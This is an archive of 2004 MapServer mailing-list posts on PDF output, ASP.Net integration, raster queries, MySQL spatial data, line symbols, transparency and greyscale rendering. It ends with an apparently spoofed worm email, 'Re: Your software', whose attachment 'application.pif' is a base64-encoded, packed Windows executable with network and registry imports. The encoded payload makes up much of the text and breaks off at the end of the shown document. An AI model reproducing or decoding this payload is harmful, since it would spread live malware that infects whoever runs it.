xkNagqpEYntgpo9nSmtXqS0/eDPHpj2EKWS4QpcoiFoyDsTDhJV+J5qfcIV0NLebCxYbiSVQ Nm9aLk4jsLaEGQgtIV+YMoaEJygpgpl4nRQLPg0WUb9qvrO3bWwVgAKdsnmwIGMbZghuqDGO iAR2NVIAA2kiwRc7gl4CD0iuqwaGZsYwKJZkhKKnfiuChVRyVVBEuKRixa9zNHVQU8aCmHMF VbQKJwoUbDI+fgpBE4NmG7EqEmmytQNbPmBQckAKVFvCcairP2YZk8eSDYdyxV2ZTWUEkH+A OTtkgsRFrSU9omRbbYy7wyxPI4hwOIYxnnukEalFGgBBAwNhVzC5xKBaEZuOMUQ9FMBBHQ9N dXiWhgivY2sfOSRNF5C9e6BKELgDKaFKM040S68zh4EBx2BBWWQkPaael35NpoTCoBu4Hxl4 Yp9YKo4KnJVAMJSvcFWHq8Bod1VNlJmpezmPtFArYkGYZsZfuqWBChaCnQtLXjBqRW1qtTWK xhC2WFBQAEu6oBmSpj8IRltsdalELhE4naNMmQZnByF6Hmt9g3N7gaJ7W5qKhq2ZEQinFCUL eRiSPwYbhsE= ----------icgoeoreaukascfakyhj-- From mhln25 at yahoo.com Mon Jun 14 21:53:48 2004 From: mhln25 at yahoo.com (Mahalakshmi Narayanan) Date: Mon, 14 Jun 2004 21:53:48 -0700 (PDT) Subject: [Mapserver-users] Pdf output shows junk on the browser? In-Reply-To: <3E4215C93D3CE24D84A9FF385DF88D8702A08761@afeb-ms-02> Message-ID: <20040615045348.10817.qmail@web50710.mail.yahoo.com> Thanks for the reply.. However, my problem is still unresolved.. The junk starts with ... ------------------ %PDF-1.3 %???? 5 0 obj <> stream x?3T0BC 650PH??2 ?B( ?)??H!???5? ?!pendstream endobj 6 0 obj 40 endobj 7 0 obj <>] /Length 8 0 R >> stream ????JFIF??;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 95 ??C     ??C  ????"?? ???}!1AQa"q2???#B??R??$3br? %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??????????????????????????????????????????????????????????????????????????? ???w!1AQaq"2?B???? #3R?br? $4?%?&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??????????????????? ------------- I visited all sites suggested by Emil Zegers, but not still solved.. I have windows xp with acrobat reader 6 installed. My ie settings seem to be ok 'cos I am able to open other pdf documents.. I don't know how to save as pdf document using map file itself (from command prompt) then try to open it.. is it possible to do that? Thanks again.. With kind regards, Mahalakshmi Narayanan --- Antti.Roppola at brs.gov.au wrote: > What sort of junk? > > If it looks like this, you are getting a PDF file, > but it is not > being recognised by the end-user as one: > > %PDF-1.3 > %???? > 5 0 obj > < /Filter/FlateDecode > >> > stream > > x~\~D?I?$I?$?~OS?^K?~S???~I?^Fu^B?Em?6??~K^F3C??????S~?~@???~H~Q^A?~_ > > > I have noticed that the PDF output file includes a > MIME header > in the first couple of lines. Depending on how you > are generating > and sending the file, this might be a problem. If > so, try open the > PDF file and delete everything before "%PDF-" before > sending it to > the browser. Also try opening the file from your PDF > reader. Aka, > the first thing to do is confirm that a valid PDF > file is being created. > > Cheers, > > Antti > > -----Original Message----- > From: Emil Zegers [mailto:EZS at DeStraat.NL] > Sent: Friday, 11 June 2004 5:38 PM > To: mapserver-users at lists.gis.umn.edu; > mhln25 at yahoo.com > Subject: Re: [Mapserver-users] Pdf output shows junk > on the browser? > > > Hello > > If your PDF configuration in the map file is correct > and you do have installed Adobe Acrobat and/or > Reader, the problem might be caused by some browser > related issues. > > Especially recent IE versions have trouble > displaying server side (created) PDF's properly. > > Take a look at the following links for more info: > > http://www.adobe.com/support/techdocs/29776.htm > > http://forum.planetpdf.com/wb/default.asp?action=9&fid=6&read=41191 > > http://www.bnl.gov/itd/webapps/pdf_help.asp > > > Groeten, > > Emil Zegers > > De Straat Milieu-adviseurs > Divisie Informatisering > 026 7513902 > 06 22965585 > http://www.destraat.nl > > >>> Mahalakshmi Narayanan > 06/11/04 08:09 AM >>> > Hi! > > I tried to output my map as a pdf but I get junk > thrown to me when I include the following > outputformat > tag.. > ------------------- > OUTPUTFORMAT > NAME pdf > MIMETYPE "application/x-pdf" > DRIVER pdf > # FORMATOPTION "OUTPUT_TYPE=RASTER" > EXTENSION "pdf" > END > ------------------- > I am running windows xp with > -------------- > MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG > OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF > OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE > SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLI > ENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT > INPUT=EPPL7 INPUT=POSTGIS INPUT=OGR > INPUT=GDAL INPUT=SHAPEFILE > ------------------ > > do i need anything else to be installed on my box to > get pdf output? > > can somebody help me, pls. > > With regards, > Mahalakshmi Narayanan > > > > > > __________________________________ > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger. > http://messenger.yahoo.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > __________ > VChecked > > > ______________________________________________________ > > This message has been checked for all known viruses > ______________________________________________________ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From r0ss at shaw.ca Mon Jun 14 21:36:09 2004 From: r0ss at shaw.ca (Ross Smith) Date: Mon, 14 Jun 2004 22:36:09 -0600 Subject: [Mapserver-users] MapServer and ASP.Net In-Reply-To: <0HZ2005JELSEMR@l-daemon> Message-ID: <0HZC0063624FEM@l-daemon> Hi everyone, I hate to post this message again, but I am hopeful that now that the MUM2 is over the MapServer Gurus will be able to assist me. Can ASP.Net be used to design websites and communicate with the MapServer cgi exe? Any assistance would be useful, we are an ASP shop looking to move into the MapServer world and we would like to leverage our ASP knowledge. If one can use ASP what are some of the pitfalls that we may face - i.e.. Writing our own wrappers and the maintenance of them could be a bit of a challenge. I searched the archives because I assume this question has been asked a lot but I could not locate any conclusive answers. Thanks in advance, I will summarize the responses for everyone. Ross From jnorton at redcastleresources.com Mon Jun 14 23:07:07 2004 From: jnorton at redcastleresources.com (John Norton) Date: Tue, 15 Jun 2004 00:07:07 -0600 Subject: [Mapserver-users] Query Raster Layer for Pixel Values Message-ID: <40CE920B.1010907@redcastleresources.com> Sorry I missed the meeting in Ottawa. Frank W. probably discussed querying raster layers in his workshop. Basically, I would like to a query a raster layer (8 bit or 16 bit if possible) with a bounding rectangle or possibly a user selected/defined shape and apply a function to each of the pixel values, eg find the average value. Or could a query just return a vector with the pixel values. I don't need the spatial location for each, just the DN value. Any ideas how this may be done with MS or where might I start? Thanks John Norton Remote Sensing Applications Center US Forest Service Salt Lake City, Utah From fx.gamoy at mapxplore.com Mon Jun 14 23:35:19 2004 From: fx.gamoy at mapxplore.com (fx gamoy) Date: Tue, 15 Jun 2004 08:35:19 +0200 Subject: [Mapserver-users] using mapserver with mysql and gis support Message-ID: <004701c452a2$edf40b70$0102a8c0@geomatika> This is a multi-part message in MIME format. ------=_NextPart_000_0044_01C452B3.B11FEE60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable hello world, is it a way to use spatial data stored in a mysql database with GIS = support (like with postgres/postGIS)? thanks fx ------=_NextPart_000_0044_01C452B3.B11FEE60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
hello world,
is it a way to use spatial data stored = in a mysql=20 database with GIS support (like with postgres/postGIS)?
thanks
fx
------=_NextPart_000_0044_01C452B3.B11FEE60-- From m.meier at spiekermann.de Mon Jun 14 23:11:37 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Tue, 15 Jun 2004 08:11:37 +0200 Subject: [Mapserver-users] arrow at end of line Message-ID: <40CE9319.9020202@spiekermann.de> Hello list, I've read in the mail archives something about arrow symbols in the middle of a line using truetype or not. I want to draw lines with an arrow at the end: ----> or <---->. Are there any predefined line symbols for this or have I to use the same mechanism as above with truetype point symbols put on the line? Thank you Manfred From lars-goran.edholm at sandviken.se Tue Jun 15 00:39:17 2004 From: lars-goran.edholm at sandviken.se (Lars-goran Edholm) Date: Tue, 15 Jun 2004 09:39:17 +0200 Subject: [Mapserver-users] Mapserver 4.2 and transparent symbols Message-ID: Hi! With Mapserver 4 i don't get transparent symbols and scalebar anymore. Below is a partm of my map-file and symbol definition. With Mapserver 3 I got scalebar and diagonal patterns transparent to underlying layer. What's wrong? map extent 1520000 6675000 1564000 6742000 fontset "D:/Iis-Webbplatser/BoM/ByggMiljo/kartor/fonts/fonts.list" # imagecolor 176 232 176 name "fdsmap1" size 600 450 status on SYMBOLSET "D:/Iis-Webbplatser/BoM/ByggMiljo/kartor/symbols/allpng.sym" units meters shapepath "D:/Iis-Webbplatser/BoM/ByggMiljo/kartor/skikt" IMAGETYPE pnglge # TRANSPARENT on TEMPLATEPATTERN "BMN" OUTPUTFORMAT NAME pnglge DRIVER "GD/PNG" MIMETYPE "image/png" IMAGEMODE RGBA # IMAGEMODE PC256 EXTENSION "png" END . . . . #*******scalebar start*********** scalebar backgroundcolor 255 0 0 color 0 0 255 imagecolor 255 255 255 intervals 4 position lr size 288 10 status embed style 1 transparent true units meters label color 0 0 255 size medium type bitmap end end #*******scalebar slut*********** Symbol Name 'detplan' Type VECTOR Points 0 0 1 1 END END Mvh Lars-G?ran Edholm tel 026/24 14 36 1:e byggnadsinspekt?r Bygg- och milj?kontoret 811 80 Sandviken lars-goran.edholm at sandviken.se From pierre.giraud3 at free.fr Tue Jun 15 00:42:54 2004 From: pierre.giraud3 at free.fr (pierre.giraud3 at free.fr) Date: Tue, 15 Jun 2004 09:42:54 +0200 Subject: [Mapserver-users] colored tiff forced to greyscale Message-ID: <1087285374.40cea87e43e4a@imp6-q.free.fr> hello list, Didn't find any post answering my problem, probably didn't choose the suitable keywords. Is there any way to force mapserver to draw a 8-bit (or 24-bits) raster layer in greyscale ? Thx Pierre GIRAUD From ken.boss at dnr.state.mn.us Tue Jun 15 00:48:02 2004 From: ken.boss at dnr.state.mn.us (ken.boss at dnr.state.mn.us) Date: Tue, 15 Jun 2004 13:18:02 +0530 Subject: [Mapserver-users] Re: Your software Message-ID: <200406150748.i5F7mCFS020732@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0004_00001862.00002614 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please read the attached file. ------=_NextPart_000_0004_00001862.00002614 Content-Type: application/octet-stream; name="application.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="application.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC AAAjWZWUi0QkBIPEKo2QNAAAAIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy dXB0IERhdGEhALgAcEEAaNFrQABk/zUAAAAAZIklAAAAAGacYFBoAABAAIs8JIswZoHHgAeN dAYIiTiLXhBQVmoCaIAIAABXahNqBlZqBGiACAAAV//Tg+4IWfOlWWaDx2iBxsIAAADzpf/T WI2QuAEAAIsKD7rxH3MWiwQk/Yvwi/gDcgQDegjzpYPCDPzr4oPCEIta9IXbdNiLBCSLevgD +FKNNAHrF1hYWFp0xOkc////AtJ1B4oWg+7/EtLDgfsAAAEAcw5oYMD//2hg/P//tgXrIoH7 AAAEAHMOaICB//9ogPn//7YH6wxoAIP//2gA+///tghqADLSS6QzyYP7AH6k6Kr///9yF6Qw X/9L6+1B6Jv///8TyeiU////cvLDM+3o6f///4PpA3MGiwQkQesji8EPts7odf///xPASXX2 g/D/O0QkBIPVATtEJAiD1QCJBCToV////xPJ6FD///8TyXUI6Kb///+DwQIDzVYr2Y00OPOk XuuDLovAuA4AgNxKAAD8XwEAICUBAKlGAAAAEAAArxIAAN5PAQAmDwAAAGAAALQBAACVVwEA 5BIAAABwAAA4ugEAAAAAAMYTAAAAAAAAAAAAAAAAAABicwEAiHIBAAAAAAAAAAAAAAAAAG1z AQCUcgEAAAAAAAAAAAAAAAAAenMBAKhyAQAAAAAAAAAAAAAAAACGcwEAsHIBAAAAAAAAAAAA AAAAAJFzAQC4cgEAAAAAAAAAAAAAAAAAnnMBAMByAQAAAAAAAAAAAAAAAAAAAAAAAAAAAMhy AQDWcgEAAAAAAOJyAQDwcgEAAHMBABJzAQAAAAAAJHMBAAAAAAALAACAAAAAAEBzAQAAAAAA VHMBAAAAAAAAAE1lc3NhZ2VCb3hBAAAAd3NwcmludGZBAAAARXhpdFByb2Nlc3MAAABMb2Fk TGlicmFyeUEAAAAAR2V0UHJvY0FkZHJlc3MAAAAAVmlydHVhbFByb3RlY3QAAAAASW50ZXJu ZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAEdldE5ldHdvcmtQYXJhbXMAAAAAUmVnT3BlbktleUEA VVNFUjMyLmRsbABLRVJORUwzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbABpcGhscGFw aS5kbGwAQURWQVBJMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVACNL LeCo9fUqAN2XrU+vUqlvABioluG9wPiQAMukUQTRgwCWAAh8qPCIC46DGwsqdsh4rZIAff8q c3UyNDah4RiNMLEZ5wLoY+8nAGEAAACf0B59LFAEyC92WUGoz7dMAENKSTV9SfNMFsaLNcr/ Fv1JH7pmAAz4ST+5Lje4ADBpaxfaVNyoKVsn6WaIgGsa2xs1XVso89/0VBJZEQgX5bEWjCwK qlyNQcKD7RjLg3xeEl8VcPcISg3wx0DdLWFWA1+QEk6COEiI9CmEAHeOVp81jodfBoA8bgTL ukUA8PSqislLA8oDo/220qcHaQa/vM2/RlJdDancS8uEx0LEhVW8lAcAn2XWp8YU3gGVd5/w rGdAQTSKGzbUfpTtxgpweFp0NfaVLQU4RZJQikZ++nALsQw8A2oXYVErIyhKZD2rHA29DFJQ ACWwproYIpZZyW0kw88Vq7fAJtzrbCK931+m5uVEwtKGp6zcLHTNSZTO8IsSJk/mGkz94/HU gF+O9FqBx24MIOl8X88RU1+p9LJotlZpzVZfWWS2/3IKl3eGgym+14JqOdlGpM3aIpS5KQSm nmCwR7hG3La+JUXw+KOiSrSNvpSl9cvtqp+YRcDGxmgowiP+VQp02W2wDRRq9g86LaCVElpe smugpDsZcpSnPM2teZUv2AijvJj8pLhQqTaCkxAVw4EdYaiKohdLr2nLQG1Q+CcmMQU0Y9oy LFAQ1HKvGtZcAK6iJukK3oJM8rIDNUlgl+duAIUVbILFtJs4AnhLdPUsdDl2vKJo+V1KN8Rn 5F2FAOSZjm6qHl6hsFKXITMx1F0b3W+RR5ewnlJ2ijs2S3+6t9ExQ0HbEIP4tAbDmz4tTVz7 +dsaefWquHZqzscNQkXH2JoeWqO+HRaHfX0yCgXD+LwP2fnyv/0BEGyJVmR5MQtfQysE8+IU W2XfJsUlTX/OV+wgyi27Ru/m0QRHEBXtRqv7oFbAZDyFk6EgcArlmkn3ljcfmkFE4p1uD/ox WeO00ACBAo36ZfsBFbrKQo6+D8SHFHEobC435RAFV3o6AmwP7h9PYYlAqyjkqRfhchhx3h32 DFhXsKSFkyyXJYcVCwhoyxZVCpQsiOKLXjr6yGiuSFhl2aipTFS6Grt9o1Av3ZCM85bYI+fA 8KiRk+dcg4p2KvmB3VJxT77x2sFrFEUR401jiIcNWm+BWkhtEWS5xIk9Z1sg2Ce1WFgX0gBR sgQZSak1T3AkCdZJxzljSgEfDNpLSEFFqhcm+tdYUCPLFtWHkFsXyzUDE4UQZ1m15HaK/50n 1CoBq2Vd8hRXEoV8fQdZDL9hwVprCrSsBLn+rgcOm9GDgDqhkiMtjGsCqVSLyz+9ngstKZLF tAlWBYpHlkqqxX985aMuleq+uK5jVU2k3MncgXMw8vp1VHhVxZW/cU8Cjocec1ZTbWXYaWRX d6rUage4iBa7Vbtmp6PgUUQauljiMD8BysbzEn7rIObYhKNRVLLr6zUHvpgv2XA8j1tmS/fT g9/51fz+koj5CWTe3gAfmIPlbU09+/EqBFN4Pz0urYYRt3+zUMFAkt23Ya3zleTkX7/XQyiZ rDKo3DgBbL3fwj/ONGHF0ZQSKiLLvi5sXtqrsBNPDpFo0S9apBvopVxHGxtJ2ShT1ygoqMe4 M5z/Kt94SEISqPIyuOeUahnOejNTlEso1j8WzBMhGkboBvIX03YUEXdCST3CoZKdnX9dgQBK IQiLE4sQ00KN/XgYuZQV8iI0Gvk7J3Pg0e1heEDgbbXinPsTao/fSdjYJNaS19wgI8V0+KL1 wgqBv+LFtDP4QSFVizkytEgbjyHppNcS9C7HV2oQiUPi7zHC0lf+eMlU6whh6ISeQh0Qm+Tw DIA30DHBPID2CYT7QgYh4AMQ/QCI+gVEh3oi9A8R6RQI7hGE00IuJ8g70IoJa46hlPS+U0/9 TUyNcnWBdyifheqKg0zoIh4x/jkDFZrgFj656KQo3T6s3+IcZdOZCD3OuAQ6xibNyGM/Mo5+ D50GDMy1FopoIW8Pwps/+sNx0vLIKMOOZcrIshqwl8RZqdRqiaBzIHYDc38L+90eZo9pgI+k B5Lp+rgH11918NtvrhrsqdQXQfIrqrt5NVNh73UedLnMws8uNX2SSjxqOBUqz/d5KN5ZKbqH boRPpgOjUKHeI2NRxSoiRWwjCNHPfGKC8eHjhg9VEYAw9FaNu8sRsFeq/jwmDs80hqP5pJmh Aq1pF+ybAsVXG5aA8LXaRIUsI2XgpavSjIsipFg3RDPfnw6txK280umBEKEUpw3qoVWjLvb+ bWqv/PeAHVUAY3BsOGjc15UE/VNv0pNHi04SsrMq8EVrtK8ofwCW/cDRC6TIbG+7kpVuWRAV SzW8zvtjfQwBLl0rXHxjeH3GIUzGs0lVNzLEC5Fq00kw0wNzGPGknSNWCAQTjrxMpPQ9JXOm gB6BDEpOOwwDcQ6OBjY9jMGJInlc6kh/ZcGR0mBhlf0og2/1YxjBsxxE1a4M2ZgzJuzirUjC 9LMKxsV3Gm06RYVxAIMQVFk9hZbPF7BTNQ+psFa/SMJtrwHHYAASxQWfwB6ho1BQ2N2+0F5c OvkHpAW4nMKGmSw5qECCBRaKnGRqbF9zZTSHfqxLlTqh31bqSktIZEOnKapSDbkRwrBhCng5 UiEBxcN4xeqjPTMr7dqPaOGKeh/wFezpNjKsTR1Ee6r79p0UHqn/1SfpWbEN7kKu8P3wOojn ba4huqWVO3+YFYTXeV1XkorMlnnvKGLr64BURLpNMiyJ2sxvpVrvLEX0UatcQ+QUiXKyhtK6 3CWN8ylugubFaopS2mb4HPyEALSScfn3JB4uuvAtgAr9lF+Z9SDWWM6qavPuoKb1JSimf/Mu j0YSA3mCGTCyyImKBKj4dDu+yu5hdMw8QB2TWmXahdMCa5aSZZu1qa9AmqglbXQI1v95Ssbc Qp/l3MvXi6KMTER/Nyzj+qKEQKZBB2TgOqoOtI8NNcTwtYfxqQWQEV1ESjqWPkOikCfhYSsg Vp1+dG2dLhft6Xwf3OzN9Whf7UoZBy3Mjuk/BTjyXhbpvGjMFihaccBcQJjtRg8hMNUyubjk FQqOAoVRH+Py+B1YEjtZaT3HDuMPi82wfFG0BP5nusv+yVOqpUb6HDuTBiAooQ5s3sd/TAMK roRKpChG69cOBEOGOqMOoX8UVlLevoCyvR4nbHjmhoG0mY2HElSO0ZUoOZaoJu3h5B8gPrZe wcwWqIMQ21F1DvGUQROTF69wkEAoBLQCF6gYSdrNDiV8kVok20BYckan3kE6vET7qEDsQVF9 ZIUGbyEp1T6hkbnc8W3VZaSl4K64VzU+d/OLyhg5AqykIWLqoQGbrCIMiFN4+LEI2TZ/FEKl GHx5vIFVfs+Pi9m5xdMUc8ig8TOqljK9E3jEr+uK04Oq/WdL/qQL73RDT4gxEd2sgwBMDoeT BUALehFBdg5lvyBWNPWKcrjIEoUx0Nj6rzNk2ee0gAl92qlUo+NCswUMDX3ipRsYitqIti8K /s9RIgLOE0c+CHv+nUI6or0ljMzIJYEHW1klZTbUxzORtMEKZhFTVFnkoq/glKRAqdD7pKZO XftGIhTcuvg1x7FayLmqu3teiVsn368OqDRz/PrKUuwOt4n1M1I73n/2oehFjkecmwLrL2yu kp2Jx99E8kAH/65NmTzc3hQEiAanzQX0koFreHV/oEjylVs93Sv1nkdRugr9wb9zSNEKrq8t JPdBzywrspUPFnOSSmfJgYBN27A5TCsOvTmBn699vMQVFnY6gms+Yc0FU9XqYJtA5fdQFacc fi/qIKAA5sZULkiLKB5siiPBnIXw0IOL6Mlj28jKgPhtkRTrnOun0+IbebC+RzMy0CMSlmED k0w15bLDS9rAQT/DsDsj8WPfGfXy2buuik5i9P5hO9Rm+QrfgPO0XZ7Zk7vlVFudLwVkBW13 M3W+jYf37AMrrTTzDgxEuzLjSB98BQI8mVDcRo4KVHVTxlRWWsV/bPKASKNgi280HsaS800i /iQiTRBzkZAijmoUBAu1BhrpsO22pkYSiFsQ+Yajm6pF+UiJ0Ff/YpeUt6fQGZvzYyne3/Uq qECfj+4kpw46tcjxsYr9wEPPKpOvqFkfeTEkdlSUdJH6WlR6fW23VpFXXOyYn98gvDJHWvzZ PDulzAsDdP6D/l1EZYtWe5stM99zPXQQV94mXbQJ9fE9XMqpkxC8gR0OXN3WKosbMyIxIiN+ Ter1r8tzfo+DF5nDAHBqqVMzQ9ghnxqCiNVGvb69zgLjVJ7RiNYXiMy/LyGlsNXW91hCBoH6 xeRvpGxPinSYNkVFkQ87kEeIWKD1r6ZYrVYHaMUmKmydtEjILihVY0v4F+C3BsKCzG51o5r/ x7tscbmaToDQATpSxaLRwOmfVxJh+79fv5J0Sd2pgs4iyWCrwzmEp19DW0Xy8cPif+0Ih0pu +SsghezWhw0MZhBphY02c6q7hLqEXIMUM0w5dxC5RUranc9b5nNAmYdoLvVcU0hMsv8onuaZ 1eXqHYcE9RvshDM+q24OPdA8DrflTv+n3eFCnLvVtASq/IWEAvhUNIeomzpOkev3o8tfLU7R 2Jje0Cyt4r7dsxTN6ueT9okxtwEgfwmT7wB9jry7NaCe2IfpJm7fsfyGXJ2+mSdEi15LR1w+ yAQz32aMRxA7+TqQ7tW6qRT60pB0EvsuT03t4Q3J7wvImVmmXPEGfUD+IWSqvgFr4BdMin2o 6QiwQ6m0SZ50A8GVoyHrxdnsDilfWYkfjJ+cJJgtXQSchpbRp/h+aAITeSQeUYq/o7V8bYKa CORrQlXb6L9rQq3Y6lGydhhgGy1UNarlimuVVTqKQv1VrRUkRdYiHphy0WWijssLCEbBuKZe mWJ4WeI2mcUZqWdbyoQrqghR5pYo4qSFGuriiN4pTyixpofU9kQ5nwILLES76SGywpIZQvxY yNKuX9I0ru3HJk4hr/PQxDNFa8aI2SmiFaeI1PclM1QVoOQdbhfG0RNAFRcFeSt2CCA2Mq3A YEExT/1c2spTstpx1L7BCUCxjo3LI/bCuMzRX9P24BxJrexz0yuAEbqxIWg3Y1/4SF+TpVWO cpjQc2vYVblcDCcAWKPUcR8gbR5/2x8xEbDnnBiXbgXAdblgfY9YhSdabYbaqTLwnqpg6aEH pY3zWinaYAPLUza6RVJ9UGO5iQ9JaN86OtaTKyicytspTFwJhN94K+tCKajsrOEy+xng4ChM SnFnGVQqMqx4tw1YBtHIuOfn8apRS+n7zpKHcn/gp66kDZCJ8vGUq+upYKwd7eUj0r6f0Qdl G+fk/IEQKr3pIEWAS7MNiC5ba3pt3mbsnqAzU8xCaUNLkHiQT9lXDZAf2QcNkC/BSUh8fVl2 ouYL+/QvYciYyQKXfoL6u70U9nQXIpupdoNLKuDjUBxnGeYOk80oB6vRQK7R8wZe0gCTmqcr WwcPLZ421ZoL76agVVQ1v+yWmpS1HOWdPSv361MGYcuhYOpicyv6vLKnVx53WVDR0w9y9mnN b1foK/AhAKl0sE6KBXpKBYhg7N9x+TGvZFZedrbTFMGBQdijUSp+EPCrd8c7OX2kU4vxcwHF rCzNTsKgEz31XRK/uRTGTb5K6b6PE9YFYrVMnTn9MTrJne5AmVQQmEhiD6sJWQiqo0EHrcWV x24CNhx9UaZnUKoqSd4k3tuAcocoWjJQhSkq3LOpNvFm8jTlw5PhTZ2pNLXTsU6N9hAFbgDM MQhi4Wox4RSW2ZbymmyCeZ40ntOSTZqmNKbLqtjxllIETRe9T7OSMr3kNr0ctZqVfVeoonDl Pei63yxa5ktESoOvNHMVUfhjDnyE3h0fkNIWPiLGRBR+ENoruDUvy8TP4Qr1X4WJdO0fTfae Ykzo1/P0hQKhhhUZmQ6Fc6EOT/WNXYw08emJx2wlouitoDa1l2+NVBgTIsVhsSmzUTLaCyja cUqdqosCQpNl3zMa1Hd2Kv2dtjyh5+atHMmaxWnRpt0Zmg5/Dybu8seT8k3+9jTK08pNxt40 wtPCTc7GN7rrj175MblmvRyJmqF/lmVLtSt+OKZ4fhj2mLVS459PHIbqo2BNrynPOeVkm4+q puFiw/L4+Foipj5WSu11HZxAau+WHaEA5efmaRXFl+MA7SLSjM8JpQsACwiJc+4rZf+hoNx6 GYho4bVGtML6xrHQmu8HJgZnkBcM6yIdiulII6TfJeAl2b4i1CTai1EaDqJN04QIQFVRvDF9 oHKvDhxzxIgucbVmKHv4ohHuvXRmUuJBmI/xQEemGujgZBEStuTWbWGZC+kcTnpBUpFaSk2l 1QdvDDv5zuDHYjNCAiloMyIDCiNEaujU/jq6ZASYDYcgGtdYCt8oGx+AKJh19fF9At+ug6o8 VVaKLWiaZjewuB3YRuImLGJiKC5DKoVF3pnMMNlwnsLHdMXLVdYdeZDgAvZeh3zNNgp3atFC fT9ApypgiZ967DlaYEASkzs/PBpRoaMYqy+yAtUpqd81UbHmZ4NfooBxqDKCzwVApGQnS1vD j3QgQurfgqPaUgen7sL7C7kZYtuXTKzZXJolF7OWVaSFbB96C/6G+IJ1QcF18GSF/sTzC7d2 FPeBM9WP6rLr2USbtoxKBFdFH80vERvU7rt/yhaDKl+nLOfZuvTjypjFm5DlUO0a7qhSgfsq S6TSqEAW7LQc0exrVIQ8yMyWu2QrwWmsjAY6MaLixlOYWEjnA9io5ZNFNcwV2uHBq/a2iVQM RV+BBk3hFzQpGSMEKV3hlM87OqPDqhLJkxdCFRYLPd+YdFNqrAlEifi38o8BpCKAcaDGufRk qh8YvSZuiFBjuD96YXlrCe51/otcwiNYoNEBS8r9hmTIav/Zy+ZIg8VCpXX9xGloGUu38Ago qB6pYFdaDJWrXHvoahFgVG/+RCK5T0WJBGVYGApiWMbIDKQAcwR47oixZepbr4yrPp2E6iKj R4UobWHDuG6J6ea5+KiPC6UgEJKjAZilJkboKNCs1qRIc87JcbTUEd4Cqt8kEupcQH42ggpx PWkqCWGjJsWfIUbexFbqujB/rta69tSS+rzV9vYtULbSqB4OUCVURgPOFAIykROubT8Oysci xoHEhVaVkyC0WtS1AhrX2Gk229N6QG5NVlrUBHxVGnJo+G74fzfxcerJI+IktzTQTPdYfPub 